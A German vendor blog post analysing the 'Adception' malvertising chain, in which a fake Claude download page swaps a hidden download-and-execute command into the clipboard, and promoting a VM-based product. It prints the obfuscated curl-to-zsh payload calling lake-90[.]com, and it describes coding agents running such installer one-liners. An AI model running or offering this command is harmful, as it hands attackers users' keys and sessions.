← Zurück zu allen Beiträgen
Veröffentlicht am · von Renaud Deraison

Die Seite zeigte den echten Befehl

Am 9. Oktober hat Push Security eine Google-Anzeige für „claude mac“ beschrieben, deren Ziel ein echter bing.com-Link war. Vier Weiterleitungen später zeigte eine gefälschte Claude-Downloadseite Anthropics echten Installationsbefehl, und ihr Kopieren-Button legte einen anderen in die Zwischenablage: eine versteckte URL, per Pipe an zsh übergeben. Push nennt die Technik Adception. In Bromure Agentic Coding kommt Claude Code über einen signierten Setup-Schritt in eine VM, die Anmeldung läuft in einer Wegwerf-Maschine, und niemand tippt einen Installationsbefehl in ein Terminal auf dem Mac.

Die Seite zeigte Anthropics Installationsbefehl, Zeichen für Zeichen. Der Kopieren-Button legte einen anderen in die Zwischenablage.

Jemand bei einem Kunden von Push Security tippte „claude mac“ in Google. Das erste Ergebnis war ein gesponserter Link, und die Domain darunter war bing.com. Die Anzeige verwendete weder eine Doppelgänger-Domain noch eine Falschschreibung von Anthropic. Googles Anzeigenprüfung hatte eine Anzeige freigegeben, deren Ziel eine andere Suchmaschine war.

Push veröffentlichte die Kette am Donnerstag, dem 9. Oktober, und taufte die Technik Adception. BleepingComputer brachte die Geschichte am selben Nachmittag. Die Forscher von Push schrieben, sie hätten Suchergebnisse schon als Weiterleiter gesehen, aber „noch nie als Ziel einer Suchanzeige, und wir haben keine früheren öffentlichen Berichte darüber gefunden“. Ein Zeitstempel im Bing-Link lässt sich zum 5. Oktober dekodieren.

Vier Sprünge bis zu einem Kopieren-Button

Der Klick lief über vier Stationen:

  1. google.com/aclk, Googles Weiterleitung für Anzeigenklicks.
  2. bing.com/ck/a, Bings eigener Klick-Tracking-Link für ein echtes Suchergebnis. Er leitet mit einer kurzen JavaScript-Seite weiter, sodass der Browser beim nächsten Sprung mit einem bing.com-Referrer ankommt.
  3. Die „Über uns“-Seite eines echten südamerikanischen Händlers mit einer kompromittierten WordPress-Site. Sie leitet nur Besucher weiter, die mit den richtigen Browser-Headern von Bing kommen.
  4. claude-desk-code[.]com, eine aufwendige Kopie von Claudes Downloadseite, mit einem Download for macOS-Button und einer einzeiligen Installation im Terminal.

Jeder Sprung prüft, woher der Besucher kommt. Laden Sie die gefälschte Seite direkt, liest ihr JavaScript document.referrer, findet weder Google noch Bing und liefert /404.html aus. Ein Anzeigenprüfer, ein Scanner oder ein Forscher, der die URL einfügt, sieht nichts. In den Worten von Push: „Der bösartige Payload erschien nur, wenn man das Ende der Kette über genau diesen Pfad erreichte.“

Die Seite zeigt den Befehl, den Anthropic veröffentlicht:

curl -fsSL https://claude.ai/install.sh | bash

Der Kopieren-Button legt stattdessen das hier in die Zwischenablage:

echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh

Ins Terminal eingefügt, gibt die erste Hälfte eine beruhigende Zeile mit Anthropics URL aus. Die zweite Hälfte dekodiert eine versteckte Adresse auf lake-90[.]com, lädt eine .dat-Datei und leitet sie per Pipe an zsh. Nichts landet vorher auf der Festplatte, wo es gescannt werden könnte. Push ordnet acht Köder-Domains, darunter cli-desktop[.]com und too.clawddddd[.]com, einem Toolkit zu, das es als AcSig verfolgt, und merkt an, dass die Domains so schnell wechseln, dass „kurzlebige IoCs nur begrenzten Wert haben“.

Warum der Köder ein KI-Tool ist

Push ordnet Adception unter InstallFix ein, einer ClickFix-Variante, die es erstmals im März beschrieben hat: gefälschte Installationsanleitungen für Tools, deren echte Installation ein Terminal-Einzeiler ist. Claude Code ist der Musterfall. Seine dokumentierte Installation ist ein curl, der per Pipe an eine Shell geht, also wirkt eine Seite, die einen Entwickler bittet, so etwas ins Terminal einzufügen, wie das Original.

Push sagt, ClickFix-Seiten machen inzwischen mehr als die Hälfte seiner monatlichen Erkennungen aus, und „4 von 5 ClickFix-Angriffen (einschließlich der Varianten InstallFix und LLMshare), die wir erkennen, erreichen ihre Opfer über Suchmaschinen“. Entwickler stellen den Großteil derer, die nach „claude mac“ suchen, und der Mac eines Entwicklers ist für jeden, der darauf ein Skript ausführt, viel wert.

Push hat den endgültigen Payload nicht sichergestellt, also weiß noch niemand, was dieses Skript tut. Ein zsh-Prozess, der aus Ihrem Terminal gestartet wird, läuft als Sie, mit Ihrem Home-Ordner:

  • ~/.aws/credentials, ~/.config/gcloud, ~/.kube/config
  • ~/.ssh/id_ed25519 und ~/.git-credentials
  • das gh-Token sowie die Publish-Tokens für npm und PyPI
  • .env-Dateien in jedem Checkout
  • die Anmeldung des Agenten selbst, falls Claude Code schon installiert war
  • Browserprofile, Cookies und Session-Tokens

Das Opfer glaubt außerdem, die Installation habe funktioniert. Wenn das Skript als letzten Schritt das echte Claude Code installiert, sieht nichts falsch aus.

Auf dem Mac: 4 Weiterleitungen, 1 Kopieren-Button, 1 Einfügen1. Google-AnzeigeSuche: „claude mac“angezeigt: bing.com2. bing.com/ck/aechter Suchergebnis-Linkleitet via JavaScript um3. Händler „Über uns“kompromittiertes WordPressnur bei Bing-Referrer4. claude-desk-code[.]comgefälschte DownloadseiteDirektaufruf: 404Auf der Seite angezeigtcurl -fsSL https://claude.ai/install.sh | bashIn die Zwischenablage gelegtecho "Downloading Claude…" && curl $(… | base64 -d) | zshTerminal auf Ihrem Mac: das Skript von lake-90[.]com läuft als Sie~/.aws · ~/.config/gcloud · ~/.kube/config · ~/.ssh · gh-Token · npm- und PyPI-Tokens · .env · BrowsersitzungenDer Bildschirm zeigt „Downloading Claude: https://claude.ai/install.sh“. Nichts landet vorher auf der Platte.
Adception auf einem Mac. Jede Weiterleitung prüft den Referrer, sodass nur ein echter Anzeigenklick die gefälschte Seite erreicht. Die Seite zeigt Anthropics Befehl, kopiert den des Angreifers, und die eingefügte Zeile führt ein verstecktes Skript als Sie aus.

Die Ratschläge laden die Arbeit bei Ihnen ab

Die Empfehlungen nach dem Bericht sind die übliche Liste: Tippen Sie die URL des Herstellers selbst ein, misstrauen Sie gesponserten Ergebnissen, lesen Sie, was Sie eingefügt haben, bevor Sie Return drücken, und halten Sie jede Installationsseite für verdächtig, die nach dem Terminal verlangt. Das stimmt alles. Es verlangt aber auch von einem Entwickler, mitten in der Einrichtung eines neuen Tools genauer hinzusehen als eine Seite, die gebaut wurde, um einem flüchtigen Blick standzuhalten. Der Befehl auf dem Bildschirm war der von Anthropic. Die Domain der Anzeige war die von Bing. Die Weiterleitung lief über einen echten Händler. Ein sorgfältiger Entwickler, der jeden dieser Punkte geprüft hätte, hätte nichts Falsches gefunden.

Bromure entfernt den Schritt, von dem der Angriff abhängt: einen Entwickler, der den Installationsbefehl für einen Coding-Agent in ein Terminal auf dem Mac einfügt, auf dem seine Schlüssel liegen.

Claude Code auf dem Mac, ohne es auf dem Mac zu installieren

Bromure Agentic Coding führt Claude Code, Codex, Grok, Kimi Code und Oh My Pi in Linux-VMs auf Ihrem Mac aus. Keiner davon kommt über ein Terminal auf dem Mac dorthin.

Die App ist ein notarisiertes Disk-Image

Bromure Agentic Coding wird als signiertes, notarisiertes DMG von bromure.io ausgeliefert. Sie ziehen es in den Ordner Programme, und Gatekeeper öffnet es ohne Warnung. Das Handbuch sagt, was mit jeder anderen Kopie zu tun ist: „Wenn Sie ein DMG von einer anderen Quelle als bromure.io haben und Gatekeeper sich beschwert, betrachten Sie das als Warnsignal, nicht als etwas, das man umgeht.“ Danach aktualisiert sich die App selbst mit Sparkle und prüft jedes Update vor der Installation gegen Bromures Signaturschlüssel. Die gesamte Installation enthält keinen Befehl, also gibt es keinen Kopieren-Button, den jemand austauschen könnte.

Die Agents kommen als signierte Setup-Schritte

Beim ersten Start lädt der Einrichtungsassistent Bromures Basis-Image herunter, eine Ubuntu-24.04-Disk, und prüft dessen SHA-256. Dann installiert er die Agents als Setup-Schritte, die in einem Katalog stehen, in Ihre Kopie des Images. Der Katalog trägt eine ed25519-Signatur, erstellt mit demselben Schlüssel, der die App-Updates signiert, und die Signatur deckt jeden Setup-Befehl ab. Die App lehnt einen unsignierten oder veränderten Katalog ab, ebenso jeden Katalog, der älter ist als einer, den sie bereits akzeptiert hat.

Der Schritt für Claude Code ist eine npm-Installation, eingehüllt in den Lieferketten-Scanner von Socket.dev und ausgeführt in einer Hilfs-VM. Niemand fügt ihn ein, und ein manipulierter Downloadserver kann ihn nicht ändern. Während er läuft, zeigt der Setup-Schritt des Assistenten „Customizing the image: installing packages…“ an.

Wenn sich ein Agent später in einer Maschine mit npm install -g selbst aktualisiert, passiert die Anfrage wie jeder andere Paketabruf Bromures Proxy auf dem Mac. Der Proxy wendet die Lieferketten-Richtlinie der Maschine an (Mindestalter, OSV, Socket.dev, Depi, je nachdem, was Sie aktiviert haben), bevor ein einziges Byte die VM erreicht, und protokolliert den Abruf in der Security Timeline.

Die Anmeldung läuft in einer Wegwerf-Maschine

Die Installationsanleitung von Claude Code endet mit einer Anmeldung. In Bromure übernimmt das der Schritt Models des Assistenten: Wählen Sie die Anthropic-Anmeldung, schließen Sie sie auf der sich öffnenden Browserseite ab und warten Sie auf Signed in to Claude. Das Handbuch beschreibt, was darunter passiert: „Die Anmeldung findet auf Ihrem Mac statt, in einer versteckten temporären Maschine; Sie sehen nie ein Terminal.“ Die eigene CLI des Anbieters führt ihre Anmeldung in dieser VM aus. Bromure fängt die Tokens auf dem Host ab, verschlüsselt sie und löscht die VM.

Die Anmeldung wird in einer mit AES-GCM verschlüsselten Datei gespeichert, unter einem Hauptschlüssel im Data Protection Keychain des Macs, markiert als nur für dieses Gerät, ohne iCloud-Synchronisierung. Keine ~/.claude-Token-Datei liegt in Ihrem Home-Ordner, die ein Skript einsammeln könnte, und jede Maschine bekommt ihren eigenen Platzhalter.

In Bromure: Claude Code auf Ihrem Mac, nichts ins Terminal eingefügtDie AppSigniertes, notarisiertes DMGvon bromure.ioIn Programme ziehen,Gatekeeper öffnet sieSparkle-Updates, geprüftgegen Bromures Schlüsselkein Befehl zum KopierenEinrichtung, auf dem MacImage-Katalog, ed25519-signiert:deckt jeden Setup-Befehl abClaude Code: npm install,mit Socket.dev, in einer Hilfs-VMAnmeldung: versteckte Temp-VMTokens abgefangen, verschlüsseltauf dem Host, VM gelöschtMaschinen-VM (Ubuntu)Claude Code, Codex, Grok,Kimi Code, Oh My Pisk-ant-api03-brm-…Platzhalter, nicht Ihre Keysnpm install -g (Selbst-Update)→ Lieferkettenprüfung im Proxy→ Security TimelineAuf dem Mac, verschlüsselt unter einem Keychain-Schlüssel (nur dieses Gerät)Abo-Anmeldungen · API-Schlüssel der Anbieter · Git- und Cloud-Zugangsdaten · SSH-Schlüssel · Traces
Dasselbe Ziel in Bromure. Die App ist ein notarisiertes DMG, die Agents werden durch signierte Setup-Schritte im Image installiert, und die Anmeldung läuft in einer VM, die danach gelöscht wird. Kein Schritt verlangt, dass Sie einen Befehl ins Terminal einfügen.

Wenn der Agent auf Installer-Suche geht

Adception zielt auf einen Menschen vor einem Suchfeld. Auch Coding-Agents suchen nach Installationsanleitungen, und zwar öfter als Menschen: eine fehlende CLI, ein neues SDK, ein Linter, den die README erwähnt. Ein Agent liest das HTML der Seite, statt auf Kopieren zu klicken, aber InstallFix-Seiten tragen den schädlichen Befehl im Seitenquelltext, und die nächste Kampagne verzichtet vielleicht ganz auf den Trick mit der Zwischenablage.

Angenommen, ein Agent in einer Bromure-Maschine findet eine Seite wie claude-desk-code[.]com und führt ihren Einzeiler aus. Vier Schichten liegen zwischen diesem Skript und Ihren Schlüsseln.

Das Skript läuft in einem Linux-Gast mit Platzhaltern

Die Maschine ist eine Ubuntu-VM, und das Skript läuft in diesem Linux-Gast. Sein Home-Ordner enthält den Projekt-Checkout und brm_-Platzhalter unter den üblichen Namen: ANTHROPIC_API_KEY, GH_TOKEN, AWS_SECRET_ACCESS_KEY. Die echten Werte bleiben verschlüsselt auf dem Mac, und der Proxy setzt sie nur bei Anfragen an den Host auf die Leitung, für den das jeweilige Zugangsdatum erzeugt wurde. Ein Skript, das jedes Token einsammelt, das es findet, sammelt Strings ein, die kein Server akzeptiert.

Ein Platzhalter auf dem Weg zum falschen Host stoppt die Maschine

Der Proxy durchsucht jede ausgehende Anfrage, Request-Zeile, Header und Body, nach Platzhaltern auf dem Weg zu einem Host, zu dem sie nicht gehören. Wenn das Skript seine Beute an den Server des Angreifers schickt, antwortet der Proxy mit HTTP 451, leitet nichts weiter, pausiert die VM und öffnet auf dem Mac This environment may have been compromised, mit dem Token, seinem Zugangsdatum, dem Host, zu dem es gehört, und dem Host, an den es gesendet wurde.

Der Payload-Host stand nie auf der Liste

Der Bereich Guardrails der Maschine hat eine Outbound connections-Firewall mit Regeln nach Host, IP-Bereich, Protokoll und Port. Stellen Sie Unmatched traffic auf Deny, erlauben Sie den Modellanbieter, die Registries und GitHub, und der curl an lake-90[.]com baut nie eine Verbindung auf. Das Ergebnis erscheint in der Security Timeline neben der Sitzung, die die Anfrage gestellt hat.

Der Home-Ordner wird zurückgespult

Jeder Start einer Maschine legt einen Wiederherstellungspunkt ihres Home-Ordners an. Fahren Sie die Maschine herunter, wählen Sie Rewind home…, nehmen Sie den Start vor der Ausführung des Skripts, und der nächste Start fährt mit diesem Home-Ordner hoch. Der aktuelle Home-Ordner wird vorher als neuer Punkt gesichert, sodass sich auch das Zurückspulen rückgängig machen lässt. Um ganz von vorn zu beginnen, setzen Sie die Maschine auf das Basis-Image zurück.

Kein Installationsbefehl zum Einfügen

Bromure kommt als notarisiertes DMG von bromure.io und aktualisiert sich über signierte Sparkle-Releases. Nichts in der Einrichtung verlangt, dass Sie das Terminal öffnen.

Agents kommen aus einem signierten Katalog

Claude Code und die anderen Agents werden durch Setup-Schritte ins Basis-Image installiert, deren Befehle von einer ed25519-Signatur abgedeckt sind. Ein manipulierter Server kann sie nicht ändern.

Anmeldung in einer Wegwerf-VM

Die Anmeldung beim Anbieter läuft in einer versteckten temporären Maschine. Die Tokens werden auf dem Mac unter einem Keychain-Schlüssel verschlüsselt, und jede Maschine bekommt einen Platzhalter.

Ein böser Einzeiler landet in einer VM

Führt ein Agent trotzdem einen aus, läuft er unter Linux mit Platzhaltern, hinter einer Firewall und einer Kompromittierungserkennung auf dem Mac, und der Home-Ordner lässt sich zurückspulen.

Die nächste Suchanzeige

Push hat Adception durch den Klick eines einzigen Kunden entdeckt, bei einem Köder für einen einzigen Suchbegriff. Das AcSig-Toolkit hat acht Domains, und dieselbe Seite funktioniert für „codex mac“, „gemini cli install“ oder welches Tool Entwickler nächsten Monat auch suchen. Diesmal hat Google einen Bing-Link freigegeben. Beim nächsten Mal zeigt die Anzeige vielleicht auf eine andere Domain, der ein Anzeigenprüfer vertraut.

Installieren Sie den Coding-Agent einmal, als App, und lassen Sie ihn dort laufen, wo die Einrichtung signiert ist und die Schlüssel Platzhalter sind. Mehr zu eingefügten Befehlen und geliehenem Vertrauen lesen Sie in Die Zwischenablage ist der Exploit und Sie haben Ihren Agenten auf die Liste gesetzt.